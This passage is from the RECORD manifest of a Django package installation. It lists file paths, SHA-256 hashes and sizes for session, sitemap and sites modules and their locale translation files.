-django/contrib/sessions/locale/tg/LC_MESSAGES/django.po,sha256=wvvDNu060yqlTxy3swM0x3v6QpvCB9DkfNm0Q-kb9Xk,910 -django/contrib/sessions/locale/th/LC_MESSAGES/django.mo,sha256=D41vbkoYMdYPj3587p-c5yytLVi9pE5xvRZEYhZrxPs,814 -django/contrib/sessions/locale/th/LC_MESSAGES/django.po,sha256=43704TUv4ysKhL8T5MowZwlyv1JZrPyVGrpdIyb3r40,988 -django/contrib/sessions/locale/tk/LC_MESSAGES/django.mo,sha256=pT_hpKCwFT60GUXzD_4z8JOhmh1HRnkZj-QSouVEgUA,699 -django/contrib/sessions/locale/tk/LC_MESSAGES/django.po,sha256=trqXxfyIbh4V4szol0pXETmEWRxAAKywPZ9EzVMVE-I,865 -django/contrib/sessions/locale/tr/LC_MESSAGES/django.mo,sha256=STDnYOeO1d9nSCVf7pSkMq8R7z1aeqq-xAuIYjsofuE,685 -django/contrib/sessions/locale/tr/LC_MESSAGES/django.po,sha256=XYKo0_P5xitYehvjMzEw2MTp_Nza-cIXEECV3dA6BmY,863 -django/contrib/sessions/locale/tt/LC_MESSAGES/django.mo,sha256=Q-FGu_ljTsxXO_EWu7zCzGwoqFXkeoTzWSlvx85VLGc,806 -django/contrib/sessions/locale/tt/LC_MESSAGES/django.po,sha256=UC85dFs_1836noZTuZEzPqAjQMFfSvj7oGmEWOGcfCA,962 -django/contrib/sessions/locale/udm/LC_MESSAGES/django.mo,sha256=CNmoKj9Uc0qEInnV5t0Nt4ZnKSZCRdIG5fyfSsqwky4,462 -django/contrib/sessions/locale/udm/LC_MESSAGES/django.po,sha256=CPml2Fn9Ax_qO5brCFDLPBoTiNdvsvJb1btQ0COwUfY,737 -django/contrib/sessions/locale/ug/LC_MESSAGES/django.mo,sha256=HMwjTByc3HrhFvCt_iOioYZE7JEKLzNlb2DTu6TCgto,748 -django/contrib/sessions/locale/ug/LC_MESSAGES/django.po,sha256=QEdIUuvVMFbOPSCYs6k-61rBwmTUXFCcR1pKn53dXtQ,864 -django/contrib/sessions/locale/uk/LC_MESSAGES/django.mo,sha256=jzNrLuFghQMCHNRQ0ihnKMCicgear0yWiTOLnvdPszw,841 -django/contrib/sessions/locale/uk/LC_MESSAGES/django.po,sha256=4K2geuGjRpJCtNfGPMhYWZlGxUy5xzIoDKA2jL2iGos,1171 -django/contrib/sessions/locale/ur/LC_MESSAGES/django.mo,sha256=FkGIiHegr8HR8zjVyJ9TTW1T9WYtAL5Mg77nRKnKqWk,729 -django/contrib/sessions/locale/ur/LC_MESSAGES/django.po,sha256=qR4QEBTP6CH09XFCzsPSPg2Dv0LqzbRV_I67HO2OUwk,879 -django/contrib/sessions/locale/uz/LC_MESSAGES/django.mo,sha256=asPu0RhMB_Ui1li-OTVL4qIXnM9XpjsYyx5yJldDYBY,744 -django/contrib/sessions/locale/uz/LC_MESSAGES/django.po,sha256=KsHuLgGJt-KDH0h6ND7JLP2dDJAdLVHSlau4DkkfqA8,880 -django/contrib/sessions/locale/vi/LC_MESSAGES/django.mo,sha256=KriTpT-Hgr10DMnY5Bmbd4isxmSFLmav8vg2tuL2Bb8,679 -django/contrib/sessions/locale/vi/LC_MESSAGES/django.po,sha256=M7S46Q0Q961ykz_5FCAN8SXQ54w8tp4rZeZpy6bPtXs,909 -django/contrib/sessions/locale/zh_Hans/LC_MESSAGES/django.mo,sha256=zsbhIMocgB8Yn1XEBxbIIbBh8tLifvvYNlhe5U61ch8,722 -django/contrib/sessions/locale/zh_Hans/LC_MESSAGES/django.po,sha256=tPshgXjEv6pME4N082ztamJhd5whHB2_IV_egdP-LlQ,889 -django/contrib/sessions/locale/zh_Hant/LC_MESSAGES/django.mo,sha256=l6mWJJ_Lbfn3GsvmblZMtyXzgzqgIgroAOCg3DdzQyI,676 -django/contrib/sessions/locale/zh_Hant/LC_MESSAGES/django.po,sha256=MRV_86xy4ILP46qZtxkHGJwWEvXwF5XAvJ16LNMdx3Q,904 -django/contrib/sessions/management/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/contrib/sessions/management/__pycache__/__init__.cpython-311.pyc,, -django/contrib/sessions/management/commands/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/contrib/sessions/management/commands/__pycache__/__init__.cpython-311.pyc,, -django/contrib/sessions/management/commands/__pycache__/clearsessions.cpython-311.pyc,, -django/contrib/sessions/management/commands/clearsessions.py,sha256=pAiO5o7zgButVlYAV93bPnmiwzWP7V5N7-xPtxSkjJg,661 -django/contrib/sessions/middleware.py,sha256=ziZex9xiqxBYl9SC91i4QIDYuoenz4OoKaNO7sXu8kQ,3483 -django/contrib/sessions/migrations/0001_initial.py,sha256=KqQ44jk-5RNcTdqUv95l_UnoMA8cP5O-0lrjoJ8vabk,1148 -django/contrib/sessions/migrations/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/contrib/sessions/migrations/__pycache__/0001_initial.cpython-311.pyc,, -django/contrib/sessions/migrations/__pycache__/__init__.cpython-311.pyc,, -django/contrib/sessions/models.py,sha256=BguwuQSDzpeTNXhteYRAcspg1rop431tjFeZUVWZNYc,1250 -django/contrib/sessions/serializers.py,sha256=S9oDsUAjFv2MTlLQA6AoehggKyHXpu6-Qnrqybhgvkg,106 -django/contrib/sitemaps/__init__.py,sha256=hZuWQsKCQHfgPOx1GQPETMzTT9oqzcpp2wDMfGiLhp8,6923 -django/contrib/sitemaps/__pycache__/__init__.cpython-311.pyc,, -django/contrib/sitemaps/__pycache__/apps.cpython-311.pyc,, -django/contrib/sitemaps/__pycache__/views.cpython-311.pyc,, -django/contrib/sitemaps/apps.py,sha256=xYE-mAs37nL8ZAnv052LhUKVUwGYKB3xyPy4t8pwOpw,249 -django/contrib/sitemaps/templates/sitemap.xml,sha256=L092SHTtwtmNJ_Lj_jLrzHhfI0-OKKIw5fpyOfr4qRs,683 -django/contrib/sitemaps/templates/sitemap_index.xml,sha256=SQf9avfFmnT8j-nLEc8lVQQcdhiy_qhnqjssIMti3oU,360 -django/contrib/sitemaps/views.py,sha256=WoBVQN0jHzjrhuB-_tMdbC8S1Hb9TAnVyL1Kk3CcGM4,4657 -django/contrib/sites/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/contrib/sites/__pycache__/__init__.cpython-311.pyc,, -django/contrib/sites/__pycache__/admin.cpython-311.pyc,, -django/contrib/sites/__pycache__/apps.cpython-311.pyc,, -django/contrib/sites/__pycache__/checks.cpython-311.pyc,, -django/contrib/sites/__pycache__/management.cpython-311.pyc,, -django/contrib/sites/__pycache__/managers.cpython-311.pyc,, -django/contrib/sites/__pycache__/middleware.cpython-311.pyc,, -django/contrib/sites/__pycache__/models.cpython-311.pyc,, -django/contrib/sites/__pycache__/requests.cpython-311.pyc,, -django/contrib/sites/__pycache__/shortcuts.cpython-311.pyc,, -django/contrib/sites/admin.py,sha256=IWvGDQUTDPEUsd-uuxfHxJq4syGtddNKUdkP0nmVUMA,214 -django/contrib/sites/apps.py,sha256=uBLHUyQoSuo1Q7NwLTwlvsTuRU1MXwj4t6lRUnIBdwk,562 -django/contrib/sites/checks.py,sha256=AydGM1G1L9mvmTbNMTXRbZzPbHpIiknkRzLh5uFQLLI,366 -django/contrib/sites/locale/af/LC_MESSAGES/django.mo,sha256=A10bZFMs-wUetVfF5UrFwmuiKnN4ZnlrR4Rx8U4Ut1A,786 -django/contrib/sites/locale/af/LC_MESSAGES/django.po,sha256=O0-ZRvmXvV_34kONuqakuXV5OmYbQ569K1Puj3qQNac,907 -django/contrib/sites/locale/ar/LC_MESSAGES/django.mo,sha256=kLoytp2jvhWn6p1c8kNVua2sYAMnrpS4xnbluHD22Vs,947 -django/contrib/sites/locale/ar/LC_MESSAGES/django.po,sha256=HYA3pA29GktzXBP-soUEn9VP2vkZuhVIXVA8TNPCHCs,1135 -django/contrib/sites/locale/ar_DZ/LC_MESSAGES/django.mo,sha256=-ltwY57Th6LNqU3bgOPPP7qWtII5c6rj8Dv8eY7PZ84,918 -django/contrib/sites/locale/ar_DZ/LC_MESSAGES/django.po,sha256=KRTjZ2dFRWVPmE_hC5Hq8eDv3GQs3yQKCgV5ISFmEKk,1079 -django/contrib/sites/locale/ast/LC_MESSAGES/django.mo,sha256=eEvaeiGnZFBPGzKLlRz4M9AHemgJVAb-yNpbpxRqtd0,774 -django/contrib/sites/locale/ast/LC_MESSAGES/django.po,sha256=huBohKzLpdaJRFMFXXSDhDCUOqVqyWXfxb8_lLOkUd0,915 -django/contrib/sites/locale/az/LC_MESSAGES/django.mo,sha256=CjAGI4qGoXN95q4LpCLXLKvaNB33Ocf5SfXdurFBkas,773 -django/contrib/sites/locale/az/LC_MESSAGES/django.po,sha256=E84kNPFhgHmIfYT0uzCnTPGwPkAqKzqwFvJB7pETbVo,933 -django/contrib/sites/locale/be/LC_MESSAGES/django.mo,sha256=HGh78mI50ZldBtQ8jId26SI-lSHv4ZLcveRN2J8VzH8,983 -django/contrib/sites/locale/be/LC_MESSAGES/django.po,sha256=W5FhVJKcmd3WHl2Lpd5NJUsc7_sE_1Pipk3CVPoGPa4,1152 -django/contrib/sites/locale/bg/LC_MESSAGES/django.mo,sha256=a2R52umIQIhnzFaFYSRhQ6nBlywE8RGMj2FUOFmyb0A,904 -django/contrib/sites/locale/bg/LC_MESSAGES/django.po,sha256=awB8RMS-qByhNB6eH2f0Oyxb3SH8waLhrZ--rokGfaI,1118 -django/contrib/sites/locale/bn/LC_MESSAGES/django.mo,sha256=cI3a9_L-OC7gtdyRNaGX7A5w0Za0M4ERnYB7rSNkuRU,925 -django/contrib/sites/locale/bn/LC_MESSAGES/django.po,sha256=8ZxYF16bgtTZSZRZFok6IJxUV02vIztoVx2qXqwO8NM,1090 -django/contrib/sites/locale/br/LC_MESSAGES/django.mo,sha256=rI_dIznbwnadZbxOPtQxZ1pGYePNwcNNXt05iiPkchU,1107 -django/contrib/sites/locale/br/LC_MESSAGES/django.po,sha256=7Ein5Xw73DNGGtdd595Bx6ixfSD-dBXZNBUU44pSLuQ,1281 -django/contrib/sites/locale/bs/LC_MESSAGES/django.mo,sha256=bDeqQNme586LnQRQdvOWaLGZssjOoECef3vMq_OCXno,692 -django/contrib/sites/locale/bs/LC_MESSAGES/django.po,sha256=xRTWInDNiLxikjwsjgW_pYjhy24zOro90-909ns9fig,923 -django/contrib/sites/locale/ca/LC_MESSAGES/django.mo,sha256=lEUuQEpgDY3bVWzRONrPzYlojRoNduT16_oYDkkbdfk,791 -django/contrib/sites/locale/ca/LC_MESSAGES/django.po,sha256=aORAoVn69iG1ynmEfnkBzBO-UZOzzbkPVOU-ZvfMtZg,996 -django/contrib/sites/locale/ckb/LC_MESSAGES/django.mo,sha256=Chp4sX73l_RFw4aaf9x67vEO1_cM8eh5c0URKBgMU-Q,843 -django/contrib/sites/locale/ckb/LC_MESSAGES/django.po,sha256=2NPav4574kEwTS_nZTUoVbYxJFzsaC5MdQUCD9iqC6E,1007 -django/contrib/sites/locale/cs/LC_MESSAGES/django.mo,sha256=mnXnpU7sLDTJ3OrIUTnGarPYsupNIUPV4ex_BPWU8fk,827 -django/contrib/sites/locale/cs/LC_MESSAGES/django.po,sha256=ONzFlwzmt7p5jdp6111qQkkevckRrd7GNS0lkDPKu-4,1035 -django/contrib/sites/locale/cy/LC_MESSAGES/django.mo,sha256=70pOie0K__hkmM9oBUaQfVwHjK8Cl48E26kRQL2mtew,835 -django/contrib/sites/locale/cy/LC_MESSAGES/django.po,sha256=FAZrVc72x-4R1A-1qYOBwADoXngC_F6FO8nRjr5-Z6g,1013 -django/contrib/sites/locale/da/LC_MESSAGES/django.mo,sha256=FTOyV1DIH9sMldyjgPw98d2HCotoO4zJ_KY_C9DCB7Y,753 -django/contrib/sites/locale/da/LC_MESSAGES/django.po,sha256=Po1Z6u52CFCyz9hLfK009pMbZzZgHrBse0ViX8wCYm8,957 -django/contrib/sites/locale/de/LC_MESSAGES/django.mo,sha256=5Q6X0_bDQ1ZRpkTy7UpPNzrhmQsB9Q0P1agB7koRyzs,792 -django/contrib/sites/locale/de/LC_MESSAGES/django.po,sha256=aD0wBinqtDUPvBbwtHrLEhFdoVRx1nOh17cJFuWhN3U,980 -django/contrib/sites/locale/dsb/LC_MESSAGES/django.mo,sha256=pPpWYsYp81MTrqCsGF0QnGktZNIll70bdBwSkuVE8go,868 -django/contrib/sites/locale/dsb/LC_MESSAGES/django.po,sha256=IA3G8AKJls20gzfxnrfPzivMNpL8A0zBQBg7OyzrP6g,992 -django/contrib/sites/locale/el/LC_MESSAGES/django.mo,sha256=G9o1zLGysUePGzZRicQ2aIIrc2UXMLTQmdpbrUMfWBU,878 -django/contrib/sites/locale/el/LC_MESSAGES/django.po,sha256=RBi_D-_znYuV6LXfTlSOf1Mvuyl96fIyEoiZ-lgeyWs,1133 -django/contrib/sites/locale/en/LC_MESSAGES/django.mo,sha256=U0OV81NfbuNL9ctF-gbGUG5al1StqN-daB-F-gFBFC8,356 -django/contrib/sites/locale/en/LC_MESSAGES/django.po,sha256=tSjfrNZ_FqLHsXjm5NuTyo5-JpdlPLsPZjFqF2APhy8,817 -django/contrib/sites/locale/en_AU/LC_MESSAGES/django.mo,sha256=G--2j_CR99JjRgVIX2Y_5pDfO7IgIkvK4kYHZtGzpxU,753 -django/contrib/sites/locale/en_AU/LC_MESSAGES/django.po,sha256=Giw634r94MJT1Q3qgqM7gZakQCasRM9Dm7MDkb9JOc8,913 -django/contrib/sites/locale/en_GB/LC_MESSAGES/django.mo,sha256=FbSh7msJdrHsXr0EtDMuODFzSANG_HJ3iBlW8ePpqFs,639 -django/contrib/sites/locale/en_GB/LC_MESSAGES/django.po,sha256=Ib-DIuTWlrN3kg99kLCuqWJVtt1NWaFD4UbDFK6d4KY,862 -django/contrib/sites/locale/eo/LC_MESSAGES/django.mo,sha256=N4KkH12OHxic3pp1okeBhpfDx8XxxpULk3UC219vjWU,792 -django/contrib/sites/locale/eo/LC_MESSAGES/django.po,sha256=ymXSJaFJWGBO903ObqR-ows-p4T3KyUplc_p_3r1uk8,1043 -django/contrib/sites/locale/es/LC_MESSAGES/django.mo,sha256=qLN1uoCdslxdYWgdjgSBi7szllP-mQZtHbuZnNOthsQ,804 -django/contrib/sites/locale/es/LC_MESSAGES/django.po,sha256=QClia2zY39269VSQzkQsLwwukthN6u2JBsjbLNxA1VQ,1066 -django/contrib/sites/locale/es_AR/LC_MESSAGES/django.mo,sha256=_O4rVk7IM2BBlZvjDP2SvTOo8WWqthQi5exQzt027-s,776 -django/contrib/sites/locale/es_AR/LC_MESSAGES/django.po,sha256=RwyNylXbyxdSXn6qRDXd99-GaEPlmr6TicHTUW0boaQ,969 -django/contrib/sites/locale/es_CO/LC_MESSAGES/django.mo,sha256=a4Xje2M26wyIx6Wlg6puHo_OXjiDEy7b0FquT9gbThA,825 -django/contrib/sites/locale/es_CO/LC_MESSAGES/django.po,sha256=9bnRhVD099JzkheO80l65dufjuawsj9aSFgFu5A-lnM,949 -django/contrib/sites/locale/es_MX/LC_MESSAGES/django.mo,sha256=AtGta5jBL9XNBvfSpsCcnDtDhvcb89ALl4hNjSPxibM,809 -django/contrib/sites/locale/es_MX/LC_MESSAGES/django.po,sha256=TnkpQp-7swH-x9cytUJe-QJRd2n_pYMVo0ltDw9Pu8o,991 -django/contrib/sites/locale/es_VE/LC_MESSAGES/django.mo,sha256=59fZBDut-htCj38ZUoqPjhXJPjZBz-xpU9__QFr3kLs,486 -django/contrib/sites/locale/es_VE/LC_MESSAGES/django.po,sha256=8PWXy2L1l67wDIi98Q45j7OpVITr0Lt4zwitAnB-d_o,791 -django/contrib/sites/locale/et/LC_MESSAGES/django.mo,sha256=I2E-49UQsG-F26OeAfnKlfUdA3YCkUSV8ffA-GMSkE0,788 -django/contrib/sites/locale/et/LC_MESSAGES/django.po,sha256=mEfD6EyQ15PPivb5FTlkabt3Lo_XGtomI9XzHrrh34Y,992 -django/contrib/sites/locale/eu/LC_MESSAGES/django.mo,sha256=1HTAFI3DvTAflLJsN7NVtSd4XOTlfoeLGFyYCOX69Ec,807 -django/contrib/sites/locale/eu/LC_MESSAGES/django.po,sha256=NWxdE5-mF6Ak4nPRpCFEgAMIsVDe9YBEZl81v9kEuX8,1023 -django/contrib/sites/locale/fa/LC_MESSAGES/django.mo,sha256=odtsOpZ6noNqwDb18HDc2e6nz3NMsa-wrTN-9dk7d9w,872 -django/contrib/sites/locale/fa/LC_MESSAGES/django.po,sha256=-DirRvcTqcpIy90QAUiCSoNkCDRifqpWSzLriJ4cwQU,1094 -django/contrib/sites/locale/fi/LC_MESSAGES/django.mo,sha256=I5DUeLk1ChUC32q5uzriABCLLJpJKNbEK4BfqylPQzg,786 -django/contrib/sites/locale/fi/LC_MESSAGES/django.po,sha256=LH2sFIKM3YHPoz9zIu10z1DFv1svXphBdOhXNy4a17s,929 -django/contrib/sites/locale/fr/LC_MESSAGES/django.mo,sha256=W7Ne5HqgnRcl42njzbUaDSY059jdhwvr0tgZzecVWD8,756 -django/contrib/sites/locale/fr/LC_MESSAGES/django.po,sha256=u24rHDJ47AoBgcmBwI1tIescAgbjFxov6y906H_uhK0,999 -django/contrib/sites/locale/fy/LC_MESSAGES/django.mo,sha256=YQQy7wpjBORD9Isd-p0lLzYrUgAqv770_56-vXa0EOc,476 -django/contrib/sites/locale/fy/LC_MESSAGES/django.po,sha256=Yh6Lw0QI2Me0zCtlyXraFLjERKqklB6-IJLDTjH_jTs,781 -django/contrib/sites/locale/ga/LC_MESSAGES/django.mo,sha256=RKnHbMHTD4CAxNU6SXQ6jCbgzqDIZZuGOFcdX_baCA4,814 -django/contrib/sites/locale/ga/LC_MESSAGES/django.po,sha256=fqY_eHIE04JxXXyi5ZECLMzcfyG0ZXasxG6ZIErkcrQ,1058 -django/contrib/sites/locale/gd/LC_MESSAGES/django.mo,sha256=df4XIGGD6FIyMUXsb-SoSqNfBFAsRXf4qYtolh_C964,858 -django/contrib/sites/locale/gd/LC_MESSAGES/django.po,sha256=NPKp7A5-y-MR7r8r4WqtcVQJEHCIOP5mLTd0cIfUsug,957 -django/contrib/sites/locale/gl/LC_MESSAGES/django.mo,sha256=tiRYDFC1_V2n1jkEQqhjjQBdZzFkhxzNfHIzG2l3PX4,728 -django/contrib/sites/locale/gl/LC_MESSAGES/django.po,sha256=DNY_rv6w6VrAu3hMUwx3cgLLyH4PFfgaJ9dSKfLBrpI,979 -django/contrib/sites/locale/he/LC_MESSAGES/django.mo,sha256=L3bganfG4gHqp2WXGh4rfWmmbaIxHaGc7-ypAqjSL_E,820 -django/contrib/sites/locale/he/LC_MESSAGES/django.po,sha256=iO3OZwz2aiuAzugkKp5Hxonwdg3kKjBurxR685J2ZMk,1082 -django/contrib/sites/locale/hi/LC_MESSAGES/django.mo,sha256=J4oIS1vJnCvdCCUD4tlTUVyTe4Xn0gKcWedfhH4C0t0,665 -django/contrib/sites/locale/hi/LC_MESSAGES/django.po,sha256=INBrm37jL3okBHuzX8MSN1vMptj77a-4kwQkAyt8w_8,890 -django/contrib/sites/locale/hr/LC_MESSAGES/django.mo,sha256=KjDUhEaOuYSMexcURu2UgfkatN2rrUcAbCUbcpVSInk,876 -django/contrib/sites/locale/hr/LC_MESSAGES/django.po,sha256=-nFMFkVuDoKYDFV_zdNULOqQlnqtiCG57aakN5hqlmg,1055 -django/contrib/sites/locale/hsb/LC_MESSAGES/django.mo,sha256=RyHVb7u9aRn5BXmWzR1gApbZlOioPDJ59ufR1Oo3e8Y,863 -django/contrib/sites/locale/hsb/LC_MESSAGES/django.po,sha256=Aq54y5Gb14bIt28oDDrFltnSOk31Z2YalwaJMDMXfWc,987 -django/contrib/sites/locale/hu/LC_MESSAGES/django.mo,sha256=P--LN84U2BeZAvRVR-OiWl4R02cTTBi2o8XR2yHIwIU,796 -django/contrib/sites/locale/hu/LC_MESSAGES/django.po,sha256=b0VhyFdNaZZR5MH1vFsLL69FmICN8Dz-sTRk0PdK49E,953 -django/contrib/sites/locale/hy/LC_MESSAGES/django.mo,sha256=Hs9XwRHRkHicLWt_NvWvr7nMocmY-Kc8XphhVSAMQRc,906 -django/contrib/sites/locale/hy/LC_MESSAGES/django.po,sha256=MU4hXXGfjXKfYcjxDYzFfsEUIelz5ZzyQLkeSrUQKa0,1049 -django/contrib/sites/locale/ia/LC_MESSAGES/django.mo,sha256=gRMs-W5EiY26gqzwnDXEMbeb1vs0bYZ2DC2a9VCciew,809 -django/contrib/sites/locale/ia/LC_MESSAGES/django.po,sha256=HXZzn9ACIqfR2YoyvpK2FjZ7QuEq_RVZ1kSC4nxMgeg,934 -django/contrib/sites/locale/id/LC_MESSAGES/django.mo,sha256=__2E_2TmVUcbf1ygxtS1lHvkhv8L0mdTAtJpBsdH24Y,791 -django/contrib/sites/locale/id/LC_MESSAGES/django.po,sha256=e5teAHiMjLR8RDlg8q99qtW-K81ltcIiBIdb1MZw2sE,1000 -django/contrib/sites/locale/io/LC_MESSAGES/django.mo,sha256=W-NP0b-zR1oWUZnHZ6fPu5AC2Q6o7nUNoxssgeguUBo,760 -django/contrib/sites/locale/io/LC_MESSAGES/django.po,sha256=G4GUUz3rxoBjWTs-j5RFCvv52AEHiwrCBwom5hYeBSE,914 -django/contrib/sites/locale/is/LC_MESSAGES/django.mo,sha256=lkJgTzDjh5PNfIJpOS2DxKmwVUs9Sl5XwFHv4YdCB30,812 -django/contrib/sites/locale/is/LC_MESSAGES/django.po,sha256=1DVgAcHSZVyDd5xn483oqICIG4ooyZY8ko7A3aDogKM,976 -django/contrib/sites/locale/it/LC_MESSAGES/django.mo,sha256=6NQjjtDMudnAgnDCkemOXinzX0J-eAE5gSq1F8kjusY,795 -django/contrib/sites/locale/it/LC_MESSAGES/django.po,sha256=zxavlLMmp1t1rCDsgrw12kVgxiK5EyR_mOalSu8-ws8,984 -django/contrib/sites/locale/ja/LC_MESSAGES/django.mo,sha256=RNuCS6wv8uK5TmXkSH_7SjsbUFkf24spZfTsvfoTKro,814 -django/contrib/sites/locale/ja/LC_MESSAGES/django.po,sha256=e-cj92VOVc5ycIY6NwyFh5bO7Q9q5vp5CG4dOzd_eWQ,982 -django/contrib/sites/locale/ka/LC_MESSAGES/django.mo,sha256=m8GTqr9j0ijn0YJhvnsYwlk5oYcASKbHg_5hLqZ91TI,993 -django/contrib/sites/locale/ka/LC_MESSAGES/django.po,sha256=1upohcHrQH9T34b6lW09MTtFkk5WswdYOLs2vMAJIuE,1160 -django/contrib/sites/locale/kab/LC_MESSAGES/django.mo,sha256=Utdj5gH5YPeaYMjeMzF-vjqYvYTCipre2qCBkEJSc-Y,808 -django/contrib/sites/locale/kab/LC_MESSAGES/django.po,sha256=d78Z-YanYZkyP5tpasj8oAa5RimVEmce6dlq5vDSscA,886 -django/contrib/sites/locale/kk/LC_MESSAGES/django.mo,sha256=T2dTZ83vBRfQb2dRaKOrhvO00BHQu_2bu0O0k7RsvGA,895 -django/contrib/sites/locale/kk/LC_MESSAGES/django.po,sha256=HvdSFqsumyNurDJ6NKVLjtDdSIg0KZN2v29dM748GtU,1062 -django/contrib/sites/locale/km/LC_MESSAGES/django.mo,sha256=Q7pn5E4qN957j20-iCHgrfI-p8sm3Tc8O2DWeuH0By8,701 -django/contrib/sites/locale/km/LC_MESSAGES/django.po,sha256=TOs76vlCMYOZrdHgXPWZhQH1kTBQTpzsDJ8N4kbJQ7E,926 -django/contrib/sites/locale/kn/LC_MESSAGES/django.mo,sha256=_jl_4_39oe940UMyb15NljGOd45kkCeVNpJy6JvGWTE,673 -django/contrib/sites/locale/kn/LC_MESSAGES/django.po,sha256=cMPXF2DeiQuErhyFMe4i7swxMoqoz1sqtBEXf4Ghx1c,921 -django/contrib/sites/locale/ko/LC_MESSAGES/django.mo,sha256=OSr4OPZCkJqp2ymg32reatGzafM5Qq8fY4D4Dl21Cqk,744 -django/contrib/sites/locale/ko/LC_MESSAGES/django.po,sha256=Lekvcfi1xH8QVwFeSbKU3i26w71ALRy5rbPi3xS03Bw,1052 -django/contrib/sites/locale/ky/LC_MESSAGES/django.mo,sha256=IYxp8jG5iyN81h7YJqOiSQdOH7DnwOiIvelKZfzP6ZA,811 -django/contrib/sites/locale/ky/LC_MESSAGES/django.po,sha256=rxPdgQoBtGQSi5diOy3MXyoM4ffpwdWCc4WE3pjIHEI,927 -django/contrib/sites/locale/lb/LC_MESSAGES/django.mo,sha256=xokesKl7h7k9dXFKIJwGETgwx1Ytq6mk2erBSxkgY-o,474 -django/contrib/sites/locale/lb/LC_MESSAGES/django.po,sha256=1yRdK9Zyh7kcWG7wUexuF9-zxEaKLS2gG3ggVOHbRJ8,779 -django/contrib/sites/locale/lt/LC_MESSAGES/django.mo,sha256=bK6PJtd7DaOgDukkzuqos5ktgdjSF_ffL9IJTQY839s,869 -django/contrib/sites/locale/lt/LC_MESSAGES/django.po,sha256=T-vdVqs9KCz9vMs9FfushgZN9z7LQOT-C86D85H2X8c,1195 -django/contrib/sites/locale/lv/LC_MESSAGES/django.mo,sha256=t9bQiVqpAmXrq8QijN4Lh0n6EGUGQjnuH7hDcu21z4c,823 -django/contrib/sites/locale/lv/LC_MESSAGES/django.po,sha256=vMaEtXGosD3AcTomiuctbOpjLes8TRBnumLe8DC4yq4,1023 -django/contrib/sites/locale/mk/LC_MESSAGES/django.mo,sha256=_YXasRJRWjYmmiEWCrAoqnrKuHHPBG_v_EYTUe16Nfo,885 -django/contrib/sites/locale/mk/LC_MESSAGES/django.po,sha256=AgdIjiSpN0P5o5rr5Ie4sFhnmS5d4doB1ffk91lmOvY,1062 -django/contrib/sites/locale/ml/LC_MESSAGES/django.mo,sha256=axNQVBY0nbR7hYa5bzNtdxB17AUOs2WXhu0Rg--FA3Q,1007 -django/contrib/sites/locale/ml/LC_MESSAGES/django.po,sha256=Sg7hHfK8OMs05ebtTv8gxS6_2kZv-OODwf7okP95Jtk,1169 -django/contrib/sites/locale/mn/LC_MESSAGES/django.mo,sha256=w2sqJRAe0wyz_IuCZ_Ocubs_VHL6wV1BcutWPz0dseQ,867 -django/contrib/sites/locale/mn/LC_MESSAGES/django.po,sha256=Zh_Eao0kLZsrQ8wkL1f-pRrsAtNJOspu45uStq5t8Mo,1127 -django/contrib/sites/locale/mr/LC_MESSAGES/django.mo,sha256=CudEHmP5qNvQ-BfEBOoYMh0qGVw80m-wgeu7eh7zaCQ,884 -django/contrib/sites/locale/mr/LC_MESSAGES/django.po,sha256=FtdCo3O-35EIuOP5OOQU8afWDCbn4ge2lmxjVAYtbGU,1023 -django/contrib/sites/locale/ms/LC_MESSAGES/django.mo,sha256=GToJlS8yDNEy-D3-p7p8ZlWEZYHlSzZAcVIH5nQEkkI,727 -django/contrib/sites/locale/ms/LC_MESSAGES/django.po,sha256=_4l4DCIqSWZtZZNyfzpBA0V-CbAaHe9Ckz06VLbTjFo,864 -django/contrib/sites/locale/my/LC_MESSAGES/django.mo,sha256=jN59e9wRheZYx1A4t_BKc7Hx11J5LJg2wQRd21aQv08,961 -django/contrib/sites/locale/my/LC_MESSAGES/django.po,sha256=EhqYIW5-rX33YjsDsBwfiFb3BK6fZKVc3CRYeJpZX1E,1086 -django/contrib/sites/locale/nb/LC_MESSAGES/django.mo,sha256=AaiHGcmcciy5IMBPVAShcc1OQOETJvBCv7GYHMcIQMA,793 -django/contrib/sites/locale/nb/LC_MESSAGES/django.po,sha256=936zoN1sPSiiq7GuH01umrw8W6BtymYEU3bCfOQyfWE,1000 -django/contrib/sites/locale/ne/LC_MESSAGES/django.mo,sha256=n96YovpBax3T5VZSmIfGmd7Zakn9FJShJs5rvUX7Kf0,863 -django/contrib/sites/locale/ne/LC_MESSAGES/django.po,sha256=B14rhDd8GAaIjxd1sYjxO2pZfS8gAwZ1C-kCdVkRXho,1078 -django/contrib/sites/locale/nl/LC_MESSAGES/django.mo,sha256=ghu-tNPNZuE4sVRDWDVmmmVNPYZLWYm_UPJRqh8wmec,735 -django/contrib/sites/locale/nl/LC_MESSAGES/django.po,sha256=1DCQNzMRhy4vW-KkmlPGy58UR27Np5ilmYhmjaq-8_k,1030 -django/contrib/sites/locale/nn/LC_MESSAGES/django.mo,sha256=eSW8kwbzm2HsE9s9IRCsAo9juimVQjcfdd8rtl3TQJM,731 -django/contrib/sites/locale/nn/LC_MESSAGES/django.po,sha256=OOyvE7iji9hwvz8Z_OxWoKw2e3ptk3dqeqlriXgilSc,915 -django/contrib/sites/locale/os/LC_MESSAGES/django.mo,sha256=Su06FkWMOPzBxoung3bEju_EnyAEAXROoe33imO65uQ,806 -django/contrib/sites/locale/os/LC_MESSAGES/django.po,sha256=4i4rX6aXDUKjq64T02iStqV2V2erUsSVnTivh2XtQeY,963 -django/contrib/sites/locale/pa/LC_MESSAGES/django.mo,sha256=tOHiisOtZrTyIFoo4Ipn_XFH9hhu-ubJLMdOML5ZUgk,684 -django/contrib/sites/locale/pa/LC_MESSAGES/django.po,sha256=ztGyuqvzxRfNjqDG0rMLCu_oQ8V3Dxdsx0WZoYUyNv8,912 -django/contrib/sites/locale/pl/LC_MESSAGES/django.mo,sha256=lo5K262sZmo-hXvcHoBsEDqX8oJEPSxJY5EfRIqHZh0,903 -django/contrib/sites/locale/pl/LC_MESSAGES/django.po,sha256=-kQ49UvXITMy1vjJoN_emuazV_EjNDQnZDERXWNoKvw,1181 -django/contrib/sites/locale/pt/LC_MESSAGES/django.mo,sha256=PrcFQ04lFJ7mIYThXbW6acmDigEFIoLAC0PYk5hfaJs,797 